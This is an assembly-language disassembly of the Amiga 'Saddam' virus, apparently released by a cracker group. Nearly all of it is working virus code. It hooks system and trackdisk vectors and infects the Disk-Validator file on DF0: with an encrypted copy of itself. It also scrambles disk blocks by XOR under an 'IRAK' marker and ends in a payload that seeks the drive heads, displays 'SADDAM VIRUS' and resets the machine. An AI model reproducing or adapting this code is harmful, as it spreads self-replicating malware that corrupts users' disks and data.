;Saddam-Virus disassembled by Doc/Majic 12

AFLINE	macro
	dc.w	\1
	endm
**********************************************************************
	OR.B	#$C5,D0
lbC000002	EQU	*-2
	BRA.S	lbC00000A

lbC000006	OR.B	#$25,D0
lbB000008	EQU	*-2
lbC00000A	MOVEM.L	D0-D7/A0-A6,-(SP)

;			LEA	lbC000022(PC),A0	;Decrypt-header
;			MOVEQ	#-$6D,D0
;			MOVE.W	#$6C1,D1
;	lbC000018	EOR.B	D0,(A0)+
;			SUBQ.L	#2,D0
;			DBRA	D1,lbC000018

			RTS

lbC000022	MOVE.L	4,A6
	JSR	-$78(A6)
	MOVE.L	$3A(A6),A2
	BSR	lbC00061A
	LSR.W	#4,D0
	AND.B	#$F8,D0
	SUB.W	D0,A2
	SUB.W	#$390,A2
lbC00003E	SUB.W	#$400,A2
	MOVE.L	A2,A1
	MOVE.L	#$790,D0
	JSR	-$CC(A6)
	TST.L	D0
	BEQ.S	lbC00003E
	LEA	lbC000002(PC),A0
	MOVE.L	A2,A1
	PEA	$64(A1)
	MOVE.L	#$714,D0
	JMP	-$276(A6)

	BSR.S	lbC0000A2
	BSR	lbC0000EA
	LEA	*+$6D2(PC),A0
	MOVE.L	#$1770,(A0)+
	CLR.L	(A0)+
	CLR.L	(A0)+
	MOVE.W	#$FFFF,(A0)
	MOVEM.L	(SP),D0-D7/A0-A6
	LSL.L	#2,D1
	MOVE.L	D1,A0
	MOVE.L	12(A0),A0
	MOVE.L	$1B0(A0),A0
	MOVE.L	$10(A0),A0
	MOVE.L	-4(A0),A0
	MOVE.L	14(A0),A0
	CLR.L	(A0)
	MOVEM.L	(SP)+,D0-D7/A0-A6
	JMP	(A6)

lbC0000A2	BSR.S	lbC0000FE
lbC0000A4	LEA	lbL00071A(PC),A2
	MOVE.L	$90(A6),A0
	MOVE.L	(A0),A0
	MOVE.L	$12(A0),(A2)+
	PEA	lbC0001A8(PC)
	MOVE.L	(SP)+,$12(A0)
	BSR.S	lbC000126
	MOVE.L	-$1C(A1),(A2)+
	PEA	lbC0001F0(PC)
	MOVE.L	(SP)+,-$1C(A1)
	MOVEQ	#$40,D0
	LSL.L	#4,D0
	MOVE.L	#$10002,D1
	JSR	-$C6(A6)
	MOVE.L	D0,(A2)+
	LEA	$17A(A6),A0
	LEA	intuitionlibr.MSG(PC),A1
	JSR	-$114(A6)
	MOVE.L	D0,(A2)+
	JMP	-$7E(A6)

lbC0000EA	BSR.S	lbC000126
	LEA	*+$664(PC),A2
	MOVE.L	-10(A1),(A2)+
	PEA	lbC000380(PC)
	MOVE.L	(SP)+,-10(A1)
	RTS

lbC0000FE	LEA	myconwrite.MSG(PC),A1
	JSR	-$186(A6)
	BNE.S	lbC000124
lbC000108	PEA	lbC00013A(PC)
	MOVE.L	(SP)+,$2A(A6)
	MOVEQ	#$16,D0
	MOVEQ	#0,D1
	LEA	$22(A6),A0
lbC000118	ADD.W	(A0)+,D1
	DBRA	D0,lbC000118

	NOT.W	D1
	MOVE.W	D1,$52(A6)
lbC000124	RTS

lbC000126	MOVE.L	4,A6
	LEA	$15E(A6),A0
	LEA	trackdiskdevi.MSG(PC),A1
	JSR	-$114(A6)
	MOVE.L	D0,A1
	RTS

lbC00013A	PEA	lbC00014C(PC)
	MOVE.L	(SP)+,$2E(A6)
	BSR.S	lbC000108
	MOVE.L	$3E(A6),A3
	JMP	$1E(A5)

lbC00014C	LEA	lbC000002(PC),A1
	MOVE.L	#$790,D0
	JSR	-$CC(A6)
	LEA	*+$5F2(PC),A0
	MOVE.L	-$64(A6),(A0)
	PEA	lbC000170(PC)
	MOVE.L	(SP)+,-$64(A6)
	CLR.L	$2E(A6)
	RTS

lbC000170	MOVEM.L	D0-D7/A0-A6,-(SP)
	MOVE.L	A1,A2
	LEA	strap.MSG(PC),A1
	JSR	-$60(A6)
	CMP.L	D0,A2
	BNE.S	lbC00019E
	MOVE.L	*+$5CA(PC),-$64(A6)
	JSR	-$78(A6)
	BSR	lbC0000A4
	MOVE.L	D0,A0
	MOVE.L	-$CA(A0),(A2)+
	PEA	lbC00047A(PC)
	MOVE.L	(SP)+,-$CA(A0)
lbC00019E	MOVEM.L	(SP)+,D0-D7/A0-A6
	MOVE.L	*+$5AA(PC),-(SP)
	RTS

lbC0001A8	MOVEM.L	D0-D7/A0-A6,-(SP)
	MOVE.L	lbB000008(PC),D0
	SUB.L	#$64,D0
lbC0001B2	EQU	*-4
	BCS.S	lbC0001D6
	CMP.L	#5,D0
	BCC.S	lbC0001CC
	LEA	*+$57E(PC),A0
	SUBQ.L	#1,(A0)+
	BNE.S	lbC0001D6
	MOVE.W	#$FFFF,(A0)
lbC0001CC	LEA	lbC0001B2(PC),A0
	ADD.L	#7,(A0)
lbC0001D6	BSR	lbC000126
	PEA	lbC0001F0(PC)
	MOVE.L	(SP)+,-$1C(A1)
	BSR	lbC0000FE
	MOVEM.L	(SP)+,D0-D7/A0-A6
	MOVE.L	lbL00071A(PC),-(SP)
	RTS

lbC0001F0	TST.L	$2C(A1)
	BEQ	lbC000306
	CMP.L	#$6E000,$2C(A1)
	BNE.S	lbC000264
	CMP.B	#3,$1D(A1)
	BEQ.S	lbC000240
	CMP.B	#2,$1D(A1)
	BNE.S	lbC000260
	BSR	lbC000320
	MOVE.L	$28(A1),A0
	TST.L	$13C(A0)
	BNE.S	lbC00023E
	MOVE.L	$140(A0),$13C(A0)
	CLR.L	$140(A0)
lbC00022A	MOVEQ	#$7F,D0
	MOVEQ	#0,D1
	CLR.L	$14(A0)
lbC000232	ADD.L	(A0)+,D1
	DBRA	D0,lbC000232

	NEG.L	D1
	MOVE.L	D1,-$1EC(A0)
lbC00023E	RTS

lbC000240	MOVE.L	$28(A1),A0
	MOVE.L	$138(A0),D0
	NOT.L	D0
	BNE.S	lbC000260
	MOVE.L	$13C(A0),$140(A0)
	CLR.L	$13C(A0)
	BSR.S	lbC00022A
	LEA	*+$4F2(PC),A0
	MOVE.W	#$FFFF,(A0)
lbC000260	BRA	lbC00035E

lbC000264	CMP.B	#2,$1D(A1)
	BEQ	lbC000272
lbC00026E	BRA	lbC00035E

lbC000272	BSR	lbC000320
	MOVE.L	$28(A1),A0
	CMP.W	#8,2(A0)
	BEQ.S	lbC0002A4
	CMP.L	#$4952414B,(A0)
	BEQ.S	lbC0002EE
	CMP.W	#2,2(A0)
	BNE.S	lbC0002A2
	MOVE.L	$134(A0),-(SP)
	LEA	*+$4AE(PC),A0
	MOVE.W	#$FFFF,(A0)+
	MOVE.L	(SP)+,(A0)+
	ADDQ.B	#1,(A0)
lbC0002A2	RTS

lbC0002A4	LEA	*+$4A0(PC),A0
	TST.W	(A0)
	BEQ.S	lbC0002A2
	CLR.W	(A0)
	MOVE.L	$2C(A1),D0
	DIVS	#$200,D0
	SUB.L	*+$490(PC),D0
	BNE.S	lbC0002A2
	BSR	lbC000372
	BNE.S	lbC0002A2
	MOVE.W	*+$488(PC),D0
	BEQ.S	lbC0002A2
	MOVE.L	$28(A1),A0
	MOVE.L	$34(A0),D0
	SUB.L	$38(A0),D0
	BEQ.S	lbC0002A2
	MOVEQ	#$7E,D0
	MOVE.L	#$4952414B,(A0)+
	BSR.S	lbC0002FA
	PEA	lbC0002EE(PC)
	ADDQ.B	#1,$1D(A1)
	BSR	lbC000364
	BRA.S	lbC000320

lbC0002EE	MOVEQ	#$7E,D0
	MOVE.L	$28(A1),A0
	MOVE.L	#8,(A0)+
lbC0002FA	MOVE.L	$2C(A1),D1
lbC0002FE	EOR.L	D1,(A0)+
	DBRA	D0,lbC0002FE

	RTS

lbC000306	CMP.B	#2,$1D(A1)
	BNE	lbC00026E
	BSR	lbC000372
	BNE.S	lbC00035E
	MOVE.W	*+$42C(PC),D0
	NOT.W	D0
	BEQ	lbC0003CC
lbC000320	MOVEM.L	D0-D7/A0-A6,-(SP)
	BSR.S	lbC00035E
	MOVE.L	$24(SP),A1
	MOVE.L	4,A6
	JSR	-$1D4(A6)
	BNE.S	lbC000358
	JSR	-$78(A6)
	MOVE.L	A1,A2
	MOVE.L	14(A2),A0
	MOVE.B	15(A0),D1
	MOVEQ	#0,D0
	BSET	D1,D0
lbC000346	CMP.B	#7,8(A2)
	BEQ.S	lbC000354
	JSR	-$13E(A6)
	BRA.S	lbC000346

lbC000354	JSR	-$7E(A6)
lbC000358	MOVEM.L	(SP)+,D0-D7/A0-A6
	RTS

lbC00035E	MOVE.L	lbL00071E(PC),-(SP)
	RTS

lbC000364	MOVE.L	A1,-(SP)
	MOVE.L	$34(A6),A0
	JSR	-$FC(A0)
	MOVE.L	(SP)+,A1
	RTS

lbC000372	MOVE.L	$18(A1),A0
	MOVE.L	$126(A0),D0
	TST.B	$40(A0)
	RTS

lbC000380	TST.B	$1F(A1)
	BNE.S	lbC0003C6
	BSR.S	lbC000372
	BNE.S	lbC0003C6
	LEA	*+$3BA(PC),A0
	CLR.W	(A0)
	MOVE.L	$18(A1),A0
	MOVE.B	$43(A0),-(SP)
	BSR.S	lbC0003C6
	MOVE.B	(SP)+,D0
	MOVEM.L	D0-D7/A0-A6,-(SP)
	SUB.L	A0,A0
	MOVE.L	SP,D5
	SUB.L	#$5DC,D5
	BCLR	#1,D5
	MOVE.L	D5,A1
	MOVE.L	$26(A5),A6
	MOVEM.L	$2A(A6),A2/A5/A6
	BSR	lbC0004C0
	MOVEM.L	(SP)+,D0-D7/A0-A6
	MOVEQ	#0,D0
	RTS

lbC0003C6	MOVE.L	*+$38A(PC),-(SP)
	RTS

lbC0003CC	LEA	$BFD100,A0
	LEA	$DFF000,A4
	MOVE.W	#$4000,$9A(A4)
	MOVE.B	#$7F,(A0)
	MOVE.B	#7,(A0)
	MOVEQ	#$50,D1
lbC0003E8	BSR.S	lbC00042E
	DBRA	D1,lbC0003E8

	MOVE.B	#$7F,(A0)
	MOVE.B	#5,(A0)
	BSR.S	lbC000442
	MOVE.B	#$7F,(A0)
	MOVE.B	#2,(A0)
	BSR.S	lbC000442
	MOVE.W	#$20,$96(A4)
	CLR.L	$140(A4)
	LEA	lbB0006B3(PC),A0
	MOVE.L	lbL000726(PC),A6
	MOVEQ	#0,D0
	MOVEQ	#$3C,D1
	JSR	-$5A(A6)
	MOVE.L	4,A6
	NOT.L	$26(A6)
	PEA	$FC0002
	JMP	-$96(A6)

lbC00042E	BCLR	#0,(A0)
	BSET	#0,(A0)
	MOVE.W	#$800,D0
lbC00043A	NOP
	DBRA	D0,lbC00043A

	RTS

lbC000442	MOVEQ	#$50,D1
	MOVE.W	#$8010,$96(A4)
lbC00044A	CLR.L	$24(A4)
	MOVE.W	#$9100,$9E(A4)
	MOVE.W	#$C180,$24(A4)
	MOVE.W	#$C180,$24(A4)
	MOVE.W	#2,$9C(A4)
lbC000466	BTST	#1,$1F(A4)
	BEQ.S	lbC000466
	CLR.W	$24(A4)
	BSR.S	lbC00042E
	DBRA	D1,lbC00044A

	RTS

lbC00047A	LEA	lbL000736(PC),A5
	MOVE.L	-12(A2),(A5)
	PEA	lbC000494(PC)
	MOVE.L	(SP)+,-12(A2)
	MOVE.L	lbL00072A(PC),-$CA(A6)
	JMP	-$CC(A6)

lbC000494	MOVE.L	lbL000736(PC),A4
	MOVE.L	A4,-12(A2)
	MOVEM.L	D0-D7/A0-A6,-(SP)
	LSL.L	#2,D1
	MOVE.L	D1,A0
	TST.L	4(A0)
	BNE.S	lbC0004B6
	MOVEQ	#0,D0
	BSR.S	lbC0004C0
lbC0004AE	MOVE.W	*+$29C(PC),D0
	NOT.W	D0
	BNE.S	lbC0004AE
lbC0004B6	BSR	lbC0000EA
	MOVEM.L	(SP)+,D0-D7/A0-A6
	JMP	(A4)

lbC0004C0	BSR	lbC00063A
	LEA	*+$286(PC),A0
	CLR.W	(A0)
	LEA	DF0.MSG(PC),A2
	ADD.B	#$30,D0
	MOVE.B	D0,2(A2)
	MOVE.B	D0,7(A2)
	MOVE.B	D0,13(A2)
	MOVE.L	4,A6
	MOVEQ	#$40,D0
	LSL.L	#5,D0
	MOVE.L	#$10002,D1
	JSR	-$C6(A6)
	MOVE.L	D0,-(SP)
	SUB.L	A1,A1
	JSR	-$126(A6)
	LEA	lbL00072E(PC),A0
	MOVE.L	D0,(A0)
	MOVE.L	D0,A0
	MOVEQ	#-$1,D0
	MOVE.L	D0,$B8(A0)
	MOVE.W	#$FFD4,D0
	MOVE.L	A2,D1
	MOVEQ	#-$2,D2
	BSR	lbC000562
	TST.L	D1
	BEQ.S	lbC00055E
	MOVE.W	#$FFC8,D0
	MOVE.L	(SP),D2
	MOVE.L	D1,-(SP)
	BSR.S	lbC000562
	MOVE.L	(SP)+,D0
	TST.L	D1
	BEQ.S	lbC00055E
	MOVE.L	D0,D1
	MOVE.W	#$1B4,D0
	BSR.S	lbC000562
	MOVE.L	(SP),A0
	CMP.W	#$52,10(A0)
	BNE.S	lbC00055E
	MOVEQ	#0,D2
	BSR	lbC000646
	BEQ.S	lbC000566
	MOVE.W	#$FFF4,D0
	MOVE.L	lbL000732(PC),D1
	MOVE.L	(SP),D2
	MOVEQ	#$26,D3
	BSR.S	lbC000562
	MOVE.L	(SP),A0
	MOVE.W	$24(A0),D0
	CMP.W	lbC000006(PC),D0
	BNE.S	lbC000594
	BSR	lbC000624
lbC00055E	BRA	lbC0005FC

lbC000562	BRA	lbC00062C

lbC000566	MOVE.L	(SP),A0
	CMP.W	#3,$12(A0)
	BCS.S	lbC00055E
	CMP.W	#$6D8,$12(A0)
	BCC.S	lbC00055E
	MOVE.W	#$FFC4,D0
	PEA	DF0l.MSG(PC)
	MOVE.L	(SP)+,D1
	BSR.S	lbC000562
	BEQ.S	lbC00058C
	MOVE.W	#$1B4,D0
	BSR.S	lbC000562
lbC00058C	MOVEQ	#1,D2
	BSR	lbC000646
	BEQ.S	lbC00055E
lbC000594	LEA	lbW0006C4(PC),A0
	MOVE.L	(SP),A1
	MOVEQ	#$1F,D0
lbC00059C	MOVE.B	(A0)+,(A1)+
	DBRA	D0,lbC00059C

	LEA	lbC000002(PC),A0
	LEA	lbC000022(PC),A2
	LEA	BitMapChecksu.MSG(PC),A3
	ADDQ.L	#1,6(A0)
	BSR.S	lbC00061A
	MOVE.B	D0,$13(A0)
	MOVE.W	#$713,D1
lbC0005BC	MOVE.B	(A0)+,D2
	CMP.L	A0,A2
	BGE.S	lbC0005CA
	CMP.L	A0,A3
	BLT.S	lbC0005CA
	EOR.B	D0,D2
	SUBQ.L	#2,D0
lbC0005CA	MOVE.B	D2,(A1)+
	DBRA	D1,lbC0005BC

	MOVE.L	#$3F2,(A1)
	MOVE.W	#$FFE0,D0
	MOVE.L	lbL000732(PC),D1
	MOVEQ	#0,D2
	MOVEQ	#-$1,D3
	BSR.S	lbC00062C
	MOVE.W	#$FFE8,D0
	MOVE.L	lbL000732(PC),D1
	MOVE.L	(SP),D2
	MOVE.L	#$738,D3
	BSR.S	lbC00062C
	BSR.S	lbC000624
	MOVEQ	#0,D0
	BRA.S	lbC0005FE

lbC0005FC	MOVEQ	#-$1,D0
lbC0005FE	LEA	*+$14C(PC),A0
	MOVE.W	D0,(A0)
	MOVE.L	lbL00072E(PC),A0
	CLR.L	$B8(A0)
	MOVE.L	4,A6
	MOVE.L	(SP)+,A1
	MOVEQ	#$40,D0
	LSL.L	#5,D0
	JMP	-$D2(A6)

lbC00061A	MOVEQ	#0,D0
	MOVE.B	$DFF007,D0
	RTS

lbC000624	MOVE.W	#$174,D0
	MOVE.L	lbL000732(PC),D1
lbC00062C	MOVEM.L	*+$126(PC),A0-A6
	MOVE.L	0(A2,D0.W),A4
	MOVEQ	#12,D0
	JSR	(A5)
lbC00063A	LEA	*+$11A(PC),A4
	MOVEM.L	A0-A6,(A4)
	TST.L	D1
	RTS

lbC000646	MOVE.W	#$FFFC,D0
	PEA	DF0lDiskValid.MSG(PC)
	MOVE.L	(SP)+,D1
	ADD.W	#$3ED,D2
	BSR.S	lbC00062C
	LEA	lbL000732(PC),A0
	MOVE.L	D1,(A0)
	RTS

DF0.MSG	dc.b	'DF0:',0
DF0l.MSG	dc.b	'DF0:l',0
DF0lDiskValid.MSG	dc.b	'DF0:l/Disk-Validator',0
strap.MSG	dc.b	'strap',0
myconwrite.MSG	dc.b	'mycon.write',0
intuitionlibr.MSG	dc.b	'intuition.library',0
trackdiskdevi.MSG	dc.b	'trackdisk.device',0
lbB0006B3	dc.b	1
	dc.b	8
	dc.b	$20
	dc.b	$53
	dc.b	$41
	dc.b	$44
	dc.b	$44
	dc.b	$41
	dc.b	$4D
	dc.b	$20
	dc.b	$56
	dc.b	$49
	dc.b	$52
	dc.b	$55
	dc.b	$53
	dc.b	0
	dc.b	0
lbW0006C4	dc.w	0
	dc.w	$3F3
	dc.w	0
	dc.w	0
	dc.w	0
	dc.w	1
	dc.w	0
	dc.w	0
	dc.w	0
	dc.w	0
	dc.w	0
	dc.w	$1C5
	dc.w	0
	dc.w	$3E9
	dc.w	0
	dc.w	$1C5
BitMapChecksu.MSG	dc.b	'BitMap Checksum Error',0,0
	dc.b	0
	dc.b	0
	dc.b	0
	dc.b	0
	dc.b	0
	dc.b	0
	dc.b	0
	dc.b	0
	dc.b	0
	dc.b	0
	dc.b	0
	dc.b	0
	dc.b	0
	dc.b	0
	dc.b	0
	dc.b	0
	dc.b	0
	dc.b	0
	dc.b	$C6
	dc.b	0
	dc.b	0
	dc.b	0
	dc.b	4
	dc.b	0
	dc.b	0
	dc.b	0
	dc.b	$D0
	dc.b	'mT'
	dc.b	$12
	dc.b	'4'
lbL00071A	dc.l	$567800B4
lbL00071E	dc.l	$726C5F4C
	dc.l	$69624C69
lbL000726	dc.l	$73740000
lbL00072A	dc.l	$B6FE00C3
lbL00072E	dc.l	$5E62726C
lbL000732	dc.l	$5F4E756D
lbL000736	dc.l	$4C696200
	END
